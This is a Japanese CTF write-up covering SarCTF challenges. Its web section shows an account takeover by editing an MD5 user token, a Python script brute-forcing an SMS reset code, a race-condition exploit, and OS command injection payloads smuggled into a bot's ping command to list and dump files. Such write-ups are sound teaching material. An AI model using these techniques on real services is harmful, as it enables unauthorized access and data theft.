st98 の日記帳


[ctf] SarCTF by Saratov State University の write-up

2 月 15 日から 2 月 17 日にかけて開催された SarCTF by Saratov State University に、チーム zer0pts として参加しました。最終的にチームで 19246 点を獲得し、順位は 1 点以上得点した 418 チーム中 17 位でした。うち、私は 19 問を解いて 18300 点を入れました。

以下、私が解いた問題の write-up です。

[Web 821] Door paradox (135 solves)

Here comes an interesting fact. 221B Baker Street didn’t exist. During the time when the detective was being written, Baker Street was not long and house numbers did not go above 85. The house numbers were written on the front doors of the houses. Although contemporary Museum of Sherlock Holmes has an adresse « 221B Baker Street » it is actually located between house numbers 237 and 241. In reality it’s 239. But let’s go back to the point of the competition. We wrote a messenger for you, because we want you to be comfortable talking. Account for you: test:test

(URL)

与えられた URL にアクセスすると Admin1 Admin2 test の 3 名だけが書かれているユーザのリストと、ログインフォームが表示されました。とりあえず test / test でログインができました。

どうやってログイン状態を維持しているのか気になって Cookie を見てみましたが、何も保存されていません。これは怪しい。DevTools で色々見ていると、Local Storage に access_key というキーで eccbc87e4b5ce2fe28308fd9f2a7baf3 という値が保存されていました。これは 3 の MD5 ハッシュです。ユーザ ID でしょうか。

c4ca4238a0b923820dcc509a6f75849b (1 の MD5 ハッシュ) に書き換えると Admin1 になることができました。Admin2 との会話を確認するとフラグが得られました。

FLAG{iD00r_with_insecure_token}

[Web 957] Admin (67 solves)

I’m not an expert, but it seems to me that something needs to be hacked here

http://(省略)/admin

Hint 1: just one million possible combinations..

Hint 2: I think the code is somewhere between 260000 and 280000

Door paradox の続きのようです。/admin にアクセスすると、パスワードの入力フォームと Forgot your password? という恐らくパスワードのリセットができるリンクが表示されました。Forgot your password? を押すとどうなるかソースコードを確認します。


function action(action) {

        case 'adminRestore':
            req = api('admin.restore', undefined, true);
            if (req.status === 'success') {
                while (req.response.need_sms === true) {
                    code = prompt('A six-digit secret code has been sent to your number. Enter the code from SMS:');
                    if (code === null || code === undefined || code === '') {
                        location.reload();
                    } else {
                        req = api('admin.restore', {
                            'hash': req.response.new_hash,
                            'sms_code': code
                        }, true);
                    }
                }
                if (req.response.message) alert(req.response.message);
            }
            break;
        case 'adminAuth':
            req = api('admin.logIn', {"password": $("#password").val()}, true);
            if (req.status === 'success') {
                eval(req.response.code);
            }
            break;
    }
}

6 ケタの secret code を入力し、これが合っていれば何か alert が出るようです。ヒントによれば secret code260000 から 280000 の間ということなので総当たりしてみましょう。

import json
import requests
URL = 'http://(省略)/api/admin.restore'
resp = json.loads(requests.post(URL, data={'hash': '', 'sms_code': ''}).text)
hash = resp['response']['new_hash']

for code in range(260000, 280000):
  if code % 1000 == 0:
    print('[+] debug:', hash, code)

  resp = json.loads(requests.post(URL, data={'hash': hash, 'sms_code': str(code)}).text)
  if not resp['response']['need_sms']:
    print(resp)
  hash = resp['response']['new_hash']
$ python3 solve.py
︙
{'status': 'success', 'response': {'need_sms': False, 'message': 'FLAG{bruTe_with_hash_f0rce}'}}
Traceback (most recent call last):
  File "solve.py", line 15, in <module>
    hash = resp['response']['new_hash']
KeyError: 'new_hash'

フラグが得られました。

FLAG{bruTe_with_hash_f0rce}

[Web 1964] Car for Sherlock (48 solves)

While chasing a serial killer Sherlock Holmes stopped a wrong person. Now, thanks to my « bot », you can buy a car for Sherlock, so he doesn’t have to run chasing taxis anymore.

https://vk.com/club187880935

VK の bot をハックすればよいようです。DM で /commands を送ってみると、以下のようなメッセージが返ってきました。

/commands - all commmands
/stat - your statistic
/buy <id product> - buy any product
/sell - sell one any product
/product <id number 1-4> - list of offered goods

/stat で所持金が 100 であることがわかります。/product100 で買える商品が 3 つと 101 で買えるフラグが存在していることがわかります。これはレースコンディションでしょう。

/buy 1 でまず 100 の商品をひとつ買い、/sell を何個か同時に実行すると、所持金を 200 に増やすことができました。これでフラグが購入できました。

FLAG{RaCe_CtF_C0NdItI0n}

[Web 1983] Some bot (33 solves)

It’s a well-known fact that Sherlock was on something to have these kinds of superpowers. However, it’s only partly true because he messed up somewhere.

https://vk.com/club188138010

また VK の bot をハックすればよいようです。DM で /commands を送ってみると、以下のようなメッセージが返ってきました。

/commands - all commands
/id <vk.com/screen_name> - get the digital id from screen name (request(only screen_name): /id vk.com/durov )
/time - time now
/ping - ping hosts (executable command: ping 127.0.0.1). The command accepts your values, but temporarily does not work.

OS コマンドを実行していそうな雰囲気があります。私が問題を確認した時点で、yoshiking さんによって /ping|ls を送信するとエラーが発生し、どうやら OS コマンドインジェクションができそうだとわかっていました。

/ping; ls -la; echo を送ってみると以下のようなメッセージが返ってきました。

total 80
drwxrwxr-x 7 amrtin11 registered_users 4096 Feb 16 15:26 .
drwxr-xr-x 1 0 0 4096 Feb 15 06:15 ..
-rw-rw-r— 1 amrtin11 registered_users 1024 Feb 15 19:02 .3.swp
-rwxr-xr-x 1 amrtin11 registered_users 559 Feb 15 06:11 .bashrc
drwxrwxr-x 3 amrtin11 registered_users 4096 Feb 15 07:09 .cache
-rw-rw-r— 1 amrtin11 registered_users 1024 Feb 15 19:02 .flag.jpg.swp
drwxrwxr-x 7 amrtin11 registered_users 4096 Feb 15 17:20 .git
-rwxr-xr-x 1 amrtin11 registered_users 266 Feb 15 06:11 .gitconfig
drwxrwxr-x 4 amrtin11 registered_users 4096 Feb 15 07:11 .local
drwxrwxr-x 2 amrtin11 registered_users 4096 Feb 15 19:02 .nano
-rw-r--r— 1 amrtin11 registered_users 79 Feb 15 06:11 .profile
-rwxr-xr-x 1 amrtin11 registered_users 77 Feb 15 06:11 .pythonstartup.py
-rwxr-xr-x 1 amrtin11 registered_users 4693 Feb 15 06:11 .vimrc
drwxrwxr-x 2 amrtin11 registered_users 4096 Feb 15 06:15 .virtualenvs
-rwxr-xr-x 1 amrtin11 registered_users 69 Feb 16 10:49 README.html
-rwxr-xr-x 1 amrtin11 registered_users 232 Feb 16 13:33 README.txt
-rw-rw-r— 1 amrtin11 registered_users 1132 Feb 15 06:14 flag.jpg
-rw-rw-r— 1 amrtin11 registered_users 2581 Feb 16 15:26 rce in bot.py
-rw-rw-r— 1 amrtin11 registered_users 14 Feb 16 15:22 test.py
-c 3

flag.jpg というそれっぽいファイルがあります。/ping; hexdump flag.jpg; echo して返ってきたものをデコードするとフラグが得られました。

FLAG{c0mmand_injecti0n_in_b0t}

[Forensics 100] Doc. Holmes (301 solves)

Sherlock got it on his super secret channels. You have received a copy of mail. Is everything okay with it?

添付ファイル: some.file

some.file がどのようなファイルか file で確認しましょう。

$ file some.file
some.file: Microsoft Word 2007+

docx ファイルのようです。unzip で展開し、word/media を見ると image2.jpg という画像にフラグが書かれていました。

FLAG{prominentplace}

[Forensics 632] Blogger (193 solves)

Recently, John’s keys began to be pressed by themselves when he runs his blog. You need to figure out what’s the matter.

添付ファイル: usb_here.pcapng

USB HID のパケットが記録された pcapng ファイルが与えられました。どうせキーボード入力でしょう。

tshark -r usb_here.pcapng -T fields -e usb.capdata > cap.txtLeftover Capture Data の部分だけを抽出し、HackTM CTF Quals 2020 の Strange PCAP で書いたスクリプトを流用してデコードします。

$ python3 decode.py
  Sherlock, John, and Henry then visit the hollow in the hope of finding the hound. On the way, John notices what seems to be FLAG{like_a_b100dh0und}  E

フラグが得られました。

FLAG{like_a_b100dh0und}

[Misc 701] Deep dive (174 solves)

Worth digging into these tricks.

添付ファイル: flag.txt

与えられたファイルがどのようなものか file で確認しましょう。

$ file flag.txt
flag.txt: POSIX tar archive (GNU)

テキストファイルじゃないじゃないですか。これを展開すると flag.txt というファイル名の ZIP ファイルが、さらにそれを展開すると flag.txt というファイル名の bzip2 ファイルが…という感じで入れ子になっているようです。自動化しましょう。

import bz2
import gzip
import tarfile
import zipfile
import os

while True:
  os.replace('flag.txt', 'tmp.bin')

  with open('tmp.bin', 'rb') as f:
    s = f.read()

  if s[:2] == b'PK':
    with zipfile.ZipFile('tmp.bin', 'r') as zip:
      for name in zip.namelist():
        if 'flag.txt' in name:
          zip.extract(name)
  elif s[:2] == b'\x1f\x8b':
    with gzip.open('tmp.bin', 'rb') as gz:
      with open('flag.txt', 'wb') as f:
        f.write(gz.read())
  elif s[:2] == b'BZ':
    with bz2.open('tmp.bin', 'r') as bz:
      with open('flag.txt', 'wb') as f:
        f.write(bz.read())
  else:
    with tarfile.open('tmp.bin', 'r') as tar:
      for tarinfo in tar:
        if 'flag.txt' in tarinfo.name:
          tar.extract(tarinfo)

実行すると tmp.bin のサイズがどんどん小さくなっていく様子が見られて楽しいです。最終的にフラグが書かれたファイルが出てきました。

FLAG{matri0sha256}

[Misc 866] Layouts (117 solves)

Sherlock found a huge pile of evidence, but it was difficult for him to analyze them. Help him.

添付ファイル: RWtm7A5f

与えられたファイルがどのようなものか file で確認しましょう。

$ file RWtm7A5f
RWtm7A5f: Zip archive data, at least v2.0 to extract

ZIP ファイルのようですが、展開しようとするとパスワードが要求されました。zip2john してから John the Ripper に投げると RWtm7A5f がパスワードであることがわかりました。ファイル名がパスワードのようです。これを展開するとまた同じようなファイルが出てきました。自動化してしまいましょう。

import zipfile
fn = 'RWtm7A5f'
while True:
  print(fn)
  with zipfile.ZipFile(fn, 'r') as zip:
    next_fn = zip.namelist()[0]
    zip.extract(next_fn, pwd=fn.encode())
  fn = next_fn
$ python3 extract.py
RWtm7A5f
Lz68qMZU
iWSgMaVS
︙
RDkJMKDa
85iVroNS
kSPrXQjZ
flag
Traceback (most recent call last):
︙
zipfile.BadZipFile: File is not a zip file

ZIP ファイルではない flag というファイルが出てきました。file でどのようなファイルか確認しましょう。

$ file flag
flag: XZ compressed data

これを展開すると flag~ というファイルが出てきました。file でどのようなファイルか確認しましょう。

$ file "flag~"
flag~: POSIX tar archive

これを展開すると flags というディレクトリの下に 1 から 255 まで 255 個のディレクトリが展開されました。ほとんどのディレクトリは空のようですが、いくつかのディレクトリには 1 のようなファイル名の空ファイルが入っています。空ファイルが入っているディレクトリを確認しましょう。

$ ls */*
101/9  102/11  103/8  110/16  112/18  117/12  120/13  122/6  123/5  125/21  49/19  49/20  51/10  52/14  52/7  53/17  78/3  83/1  84/4  89/2  95/15

1 が入っているディレクトリの名前は 832 が入っているディレクトリの名前は 893 が入っているディレクトリの名前は 784 が入っているディレクトリの名前は 84 です。これらのディレクトリ名を ASCII の文字コードとみると SYNT になり、これを ROT13 にかけると FLAG になります。この作業を自動化するスクリプトを書きましょう。

import glob
files = glob.glob('flags/*/*')
files.sort(key=lambda x: int(x.split('\\')[-1]))
print(''.join(chr(int(file.split('\\')[1])) for file in files))
$ python3 solve.py
SYNT{z4ge3fux4_n5p11}

ROT13 にかけるとフラグが得られました。

FLAG{m4tr3shk4_a5c11}

[Misc 1681] True Detective (124 solves)

And now it’s time to show the skills of a real detective!

https://clck.ru/MCop6

与えられた URL にアクセスすると、Google Form で作られたロンドンについてのクイズが表示されました。真面目に答えなくても、Google Form ならソースコードを見れば答えがわかってしまいます。

︙
<script type="text/javascript" nonce="thoX8yfeyj/pNLYmP785MA">var FB_PUBLIC_LOAD_DATA_ = [null,["Let's see how well you know London.",[[673760842,"What is the name of the store?",null,0,[[255559616,null,0,null,[[4,300,["(tesco|Testo)"]
,"1 - FLAG{08"]
]
]
]
,null,null,null,null,[["1cTysniECWio21dKH90wnnzNxlB4gKBJI7Bri1Q_K4moAtg",null,[740,385,0]
]
]
]
,[2014750817,"What is the name of this place?",null,0,[[1092335700,null,0,null,[[4,300,["(bridport|Bridport)"]
,"2 - c49c3d9a"]
]
]
]
,null,null,null,null,[["1sd8oiCWcjd1_HiCrOA2f1hrgkknzJvT_Y-tVgx5qjBanKw",null,[740,417,0]
]
]
]
,[771036932,"Very beautiful Park where Sherlock likes to walk. Where is it?",null,0,[[1600364512,null,0,null,[[4,300,["(finsbury|Finsbury)"]
,"3 - e8898343"]
]
]
]
,null,null,null,null,[["1-w_MvKBaer5I78ICXo70E94lH4vKSPmCRekszxbOblJRvA",null,[740,377,0]
]
]
]
,[302390155,"Every Englishman has been to this square at least once",null,0,[[661956933,null,0,null,[[4,300,["(euston|Euston)"]
,"4 - 7729747b"]
]
]
]
,null,null,null,null,[["1sGu1uvZD9tXdbS0ypGTsI05LDj8Bd1U03VV_vjDLI3bY6A",null,[740,385,0]
]
]
]
,[1070034509,"Which Embassy building is shown in the photo",null,0,[[2072641709,null,0,null,[[4,300,["(hungary|Hungary)"]
,"5 - cf1be8}"]
]
]
]
,null,null,null,null,[["174eoWKRoyVKEN21KJigFwwry_DncqoZfVECN_p6i85oWRw",null,[740,376,0]
]
]
]
]
,null,null,null,[0,0]
,null,null,"Task",48,[null,null,null,null,0]
,null,null,null,null,[2]
]
,"/forms","Новая форма",null,null,null,"",null,0,0,"","",0,"e/1FAIpQLSdpESvbfK_dafCvhkTjcLK1KBMwklUgYcy-J0mu3g_jjgisRw",0,"[]",0]
;</script>
︙
FLAG{08c49c3d9ae88983437729747bcf1be8}

[Crypto 873] Invitation (114 solves)

Sherlock doesn’t like going to parties. But this time an invitation came to him, which he could not refuse.

添付ファイル: task_3e55f673c10d.pdf

与えられた PDF ファイルを開くと、踊る人形の暗号で 20 x 28 文字書かれていました。いちいち手作業で復号していては面倒です。スクリプトで復号しましょう。

まず pdf-parser --object 1125 task_3e55f673c10d.pdf > obj-1125.txt/Im0 1141 0 R のように文字を配置している命令列だけを取り出します。続いて、これをデコードするスクリプトを書きます。

def partition(a, n):
  return [a[i:i+n] for i in range(0, len(a), n)]

with open('obj-1125.txt', 'r') as f:
  lines = f.read().splitlines()
  lines.sort(key=lambda x: int(x.split(' ')[-4][3:]))
  encrypted = [line.split(' ')[-3] for line in lines]

table = {
  '1141': 'I',
  '1143': 't',
  '1179': 'w',
  '1159': 'a',
  '1177': 's',
  '1151': 'i',
  '1165': 'n',
  '1145': 'd',
  '1163': 'e',
  '1153': 'l',
  '1175': 'k',
  '1155': 'o',
  '1169': 'm',
  '1147': 'h',
  '1167': 'u',
  '1149': 'r',
  '1157': 'f',
  '1171': 'y',
  '1189': 'b',
  '1161': 'v',
  '1187': 'p',
  '1181': 'c',
  '1173': 'H',
  '1183': 'A',
  '1185': 'g',
  '1191': 'j',
  '1193': 'L',
  '1195': 'S',
  '1197': 'q'
}

print('\n'.join(''.join(table.get(c, c) for c in row) for row in partition(encrypted, 20)))
$ python3 decode.py
Itwasindeedlikeoldti
meswhenatthathourIfo
undmyselfseatedbesid
ehiminahansommyrevol
verinmypocketandthet
hrillofadventureinmy
heartHolmeswascoldan
dsternandsilentAsthe
gleamofthestreetlamp
sflasheduponhisauste
refeaturesIsawthathi
sbrowsweredrawndowni
nthoughtandhisthinli
pscompressedIknewnot
whatwildbeastwewerea
bouttohuntdowninthed
arkjungleofcriminalL
ondonbutIwaswellassu
redfromthebearingoft
hismasterhuntsmanfla
gdiscoinSaratovthatt
headventurewasamostg
raveonewhilethesardo
nicsmilewhichoccasio
nallybrokethroughhis
asceticgloombodedlit
tlegoodfortheobjecto
fourquest

原文と比較すると flagdiscoinSaratov が挿入されていることがわかります。

FLAG{disco_in_Saratov}

[Crypto 1000] Unknown message (9 solves)

Hint: What do you know about weak keys of the DES algorithm?

添付ファイル: task_end.enc

問題名の weak keys of the DES algorithm でググると弱鍵 - Wikipedia が出てきます。これに載っている鍵で CyberChef を使って ECB モードの DES で task_end.enc を復号していくと、FFFFFFFFFFFFFFFF のときに以下のようなバイナリが出てきました。

0000000: acb1 8dbf 4162 3e2e 3c34 5f42 6e6f 6104  ....Ab>.<4_Bnoa.
0000010: 5f2e 6f79 9384 534b 3727 2814 7468 383f  _.oy..SK7'(.th8?
0000020: 5f69 6f6e 6166 5f45 6e6b 6c66 5369 725e  _ionaf_EnklfSir^
0000030: 4173 7468 7572 5f43 90b5 612d 5f46 6e78  Asthur_C..a-_Fnx
0000040: 6e64 526b 705d 4370 766a 7771 5a40 6c6d  ndRkp]CpvjwqZ@lm
0000050: 626d 5940 6b7a 6962 556e 7558 4775 7360  bmY@kzibUnuXGus`
0000060: 7c79 564b 6764 6969 584e 6273 666e 5f65  |yVKgdiiXNbsfn_e
0000070: 7e53 467b 7a67 787e 5148 6362 6d91 8444  ~SF{zgx~QHcbm..D
0000080: 2c78 6e67 516a 715c 4771 776e 797a 584b  ,xngQjq\GqwnyzXK
0000090: 6362 6d62 5348 6375 6069 5f65 7e53 4d7e  cbmbSHcu`i_e~SM~
︙

先頭 4 バイトが 0x80 以上で、続く 4 バイトが 0x80 未満であることから JPEG ファイルと ASCII 文字列を XOR したものであると推測できます。試しに JPEG のマジックナンバーと先頭 8 バイトを XOR すると Sir_Arth が出てきました。コナン・ドイルでしょうか。よく見ると 44 バイト目から Sir^Asthur… というそれっぽい文字列が見えています。Sir_Arthur_Conan_Doyle なら 22 文字なので 44 バイト目からそれっぽい文字列が出現するのもうなずけます。これと先程のバイナリを XOR するとフラグが書かれた JPEG ファイルが出てきました。

FLAG{I_L0V3_x0000000000000r_4LL}

[Stego 957] ReSHER (67 solves)

Sherlock always wanted to be a little taller.

添付ファイル: flag_there.jpg

flag_there.jpg はただのベネディクト・カンバーバッチの写真…かと思いきや、下の方に謎の余白があります。バイナリエディタで高さを少し増やしてみるとフラグが現れました。

FLAG{G0Od_s3E!}

[Stego 982] Red King (44 solves)

Just Moriarty? Really?

添付ファイル: m0r1ar7y.png

問題名からして、赤成分に何か仕込んでいるのでしょう。赤の LSB を縦方向に抽出するとフラグが得られました。

FLAG{who_is_moriarty}

[Stego 984] Find Moriarty (41 solves)

After another failure, Moriarty decided to flee the country. Help Sherlock Holmes to catch him.

添付ファイル: airport.rar

airport.rar を展開すると 35d6d33467aae9a2e3dccb4b6b027878.png b8a9f715dbb64fd5c56e7783c6820a61.png f97c5d29941bfb1b2fdab0874906ab82.png の 3 つの衛星写真と、PASS: IATA と書かれた fly.jpg という画像が与えられました。3 つの衛星写真は全て空港の写真で、写っている空港の IATA コードを集めればよいのでしょう。

衛星写真のファイル名から拡張子を除いてググってみると、35d6d33467aae9a2e3dccb4b6b027878three の、b8a9f715dbb64fd5c56e7783c6820a61two の、f97c5d29941bfb1b2fdab0874906ab82one の MD5 ハッシュであることがわかりました。それぞれガトウィック空港、ヒースロー空港、スタンステッド空港の写真なので one two three の順番に IATA コードを並べると STNLHRLGW になります。

steghide.exe extract -sf fly.jpg -p STNLHRLGW のように得られたパスワードを使って steghide で fly.jpg から key.txt というフラグが書かれたファイルを抽出できました。

FLAG{l375_fly_w17h_bu65}

[PPC 802] Mind palace I (142 solves)

It looks like the situation is hopeless, there is no time to think. However, you can use the mind palace and solve all problems instantly.

nc (省略)

問題サーバに接続してみましょう。

$ nc (省略) | xxd
00000000: 7069 7020 2020 0d70 6970 2020 200d 7069  pip   .pip   .pi
00000010: 7020 2020 0d70 6970 2020 200d 2020 2020  p   .pip   .
00000020: 2020 0d70 6970 2020 200d 2020 2020 2020    .pip   .
00000030: 0d70 6970 2020 200d 7069 6969 6970 0d70  .pip   .piiiip.p
00000040: 6970 2020 200d 2020 2020 2020 0d70 6970  ip   .      .pip
00000050: 2020 200d 2020 2020 2020 0d20 2020 2020     .      .
00000060: 200d 2020 2020 2020 0d70 6970 2020 200d   .      .pip   .
︙

pippiiiip を数秒ごとに切り替えて表示しています。モールス信号でしょう。tee で出力を保存し、CyberChefいい感じに .- に置換してデコードすると以下のような文字列が出てきました。

HEREUPONTHELAPELOFMYCOATYOUMAYSEETHERIBBONOFMYDECORATIONBUTTHEMEDALITSELFIKEEPINALEATHERNPOUCHATHOMEFLAGSHERLOCKLIKESYOURMORSE…

これが延々と繰り返されています。FLAGSHERLOCKLIKESYOURMORSE をそれっぽく整形するとフラグになりました。

FLAG{SHERLOCK_LIKES_YOUR_MORSE}

[PPC 890] Mind palace II (106 solves)

It’s time to strain your brains.

nc (省略)

問題サーバに接続してみましょう。

$ nc (省略)
===============================================
Telegrams come very quickly
Help Sherlock Holmes decipher all messages
===============================================
Message:  ERFUNECRAVAT
Answer: RESHARPENING
Message:  PBAIRAGHNY
Answer: CONVENTUAL
Message:  CERFFHENTR
Answer:

ROT13 でしょう。手で 100 回ほどデコードをするとフラグが出力されました。

︙
Message:  NPEVQVQNR
Answer: ACRIDIDAE
Message:  HAYBIVATARFF
Answer: UNLOVINGNESS
FLAG{Y0U_V3RY_F45T3R_CRYPT0GR4PH}
Message:  ABARZORYYVFURQ
Answer:
FLAG{Y0U_V3RY_F45T3R_CRYPT0GR4PH}

[PPC 896] Mind palace III (103 solves)

100% of brain CPU

nc (省略)

問題サーバに接続してみましょう。

$ nc (省略)
===============================================
Let's see how quickly you can solve these examples
===============================================
[>] 216 XOR 130
[>] Result: 90
[>] 113 OR 57
[>] Result:

今度はビット演算です。面倒なので自動化しましょう。

import re
from pwn import *

s = remote('(省略)', 33003)
s.recvline()
s.recvline()
s.recvline()

for _ in range(100):
  t = s.recvline()
  print(t)
  a, op, b = re.findall(r'(\d+) (.+) (\d+)', t)[0]
  a, b = int(a), int(b)

  if op == 'AND':
    res = a & b
  elif op == 'OR':
    res = a | b
  elif op == 'XOR':
    res = a ^ b

  s.recvuntil('[>] Result: ')
  s.sendline(str(res))

s.interactive()

実行するとフラグが得られました。

FLAG{0HH_Y0UR3_4_V3RY_5M3RT_M4TH3M4T1C}

[PPC 902] Magic of numbers (100 solves)

Do you think Sherlock can beat a computer in math?

nc (省略)

問題サーバに接続してみましょう。

$ nc (省略)
======================================================================================================
Hey, hello! Just send me an answer to 9 simple examples, so I can check if my machine knows math well.
======================================================================================================
[>] 0 + 1
[>] Result: 1
[>] 1 + 3
[>] Result: 4
[>] 2 + 5
[>] Result: 7
[>] 3 + 7
[>] Result: 10
[>] 4 + 9
[>] Result: 13
[>] 5 + 11
[>] Result: 16
[>] 6 + 13
[>] Result: 19
[>] 7 + 15
[>] Result: 22
[>] 8 + 17
[>] Result: 25
[>] 0.1 + 0.2
[>] Result: 0.3
You made a mistake somewhere! Bay, bay!

普通の計算問題に見えますが、そのまま答えてもどこかが間違っていると言われてしまいました。最後の 0.1 + 0.2 について、浮動小数点方式ではこの結果を正確に表現できないことを考慮して 0.30000000000000004 と答えてみましょう。

$ nc (省略)
︙
[>] 0.1 + 0.2
[>] Result: 0.30000000000000004
FLAG{MaGiC_0f_NuMbErS}

フラグが得られました。

FLAG{MaGiC_0f_NuMbErS}

[Reverse 309] Crossw0rd (264 solves)

While the children were playing toys, Sherlock was solving crosswords in large volumes.

添付ファイル: crossw0rd

与えられたファイルがどのようなものか file に投げて確認しましょう。

$ file crossw0rd
crossw0rd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2e45dc319e3736db1643abb283b0ed9a18681261, not stripped

x86-64 の ELF のようです。Ghidra でデコンパイルしてみましょう。

undefined8 main(void)

{
  check();
  return 0;
}

void check(void)

{
  char cVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts(
      "Welcome. You\'re in function check. Please Enter a password to continue. 1 attemptremaining:"
      );
  scanf("%s",local_28);
  cVar1 = e(local_28);
  if (cVar1 == 0) {
    puts("Wrong password! Your attempt is over.");
  }
  else {
    puts("You cracked the system!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

文字列を入力したあと e に投げて、この返り値が 0 でなければ OK なようです。e を見てみましょう。

ulong e(char *param_1)

{
  byte bVar1;
  char cVar2;
  
  if ((((param_1[7] == '5') && (param_1[0x11] == 'g')) && (param_1[2] == 'A')) &&
     (cVar2 = b(param_1), cVar2 != 0)) {
    bVar1 = 1;
  }
  else {
    bVar1 = 0;
  }
  return (ulong)bVar1;
}

3 文字分チェックしてからさらに b を呼んでいます。呼ばれている関数を追っていきましょう。

ulong b(char *param_1)

{
  byte bVar1;
  char cVar2;
  
  if ((((param_1[0xf] == 'i') && (param_1[9] == 'r')) && (param_1[1] == 'L')) &&
     (cVar2 = d(param_1), cVar2 != 0)) {
    bVar1 = 1;
  }
  else {
    bVar1 = 0;
  }
  return (ulong)bVar1;
}
ulong d(char *param_1)

{
  byte bVar1;
  char cVar2;
  
  if ((((param_1[10] == '3') && (param_1[0x12] == '}')) && (param_1[6] == 'a')) &&
     (cVar2 = f(param_1), cVar2 != 0)) {
    bVar1 = 1;
  }
  else {
    bVar1 = 0;
  }
  return (ulong)bVar1;
}
ulong f(char *param_1)

{
  byte bVar1;
  char cVar2;
  
  if ((((*param_1 == 'F') && (param_1[0xe] == '5')) && (param_1[0x10] == 'n')) &&
     (cVar2 = c(param_1), cVar2 != 0)) {
    bVar1 = 1;
  }
  else {
    bVar1 = 0;
  }
  return (ulong)bVar1;
}
ulong c(char *param_1)

{
  byte bVar1;
  char cVar2;
  
  if ((((param_1[3] == 'G') && (param_1[0xb] == 'v')) && (param_1[5] == '3')) &&
     (cVar2 = a(param_1), cVar2 != 0)) {
    bVar1 = 1;
  }
  else {
    bVar1 = 0;
  }
  return (ulong)bVar1;
}
undefined8 a(char *param_1)

{
  undefined8 uVar1;
  
  if ((((param_1[4] == '{') && (param_1[0xc] == '3')) && (param_1[8] == 'y')) &&
     (param_1[0xd] == 'r')) {
    uVar1 = 1;
  }
  else {
    uVar1 = 0;
  }
  return uVar1;
}

これらの条件を満たす文字列がフラグでした。

FLAG{3a5yr3v3r5ing}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳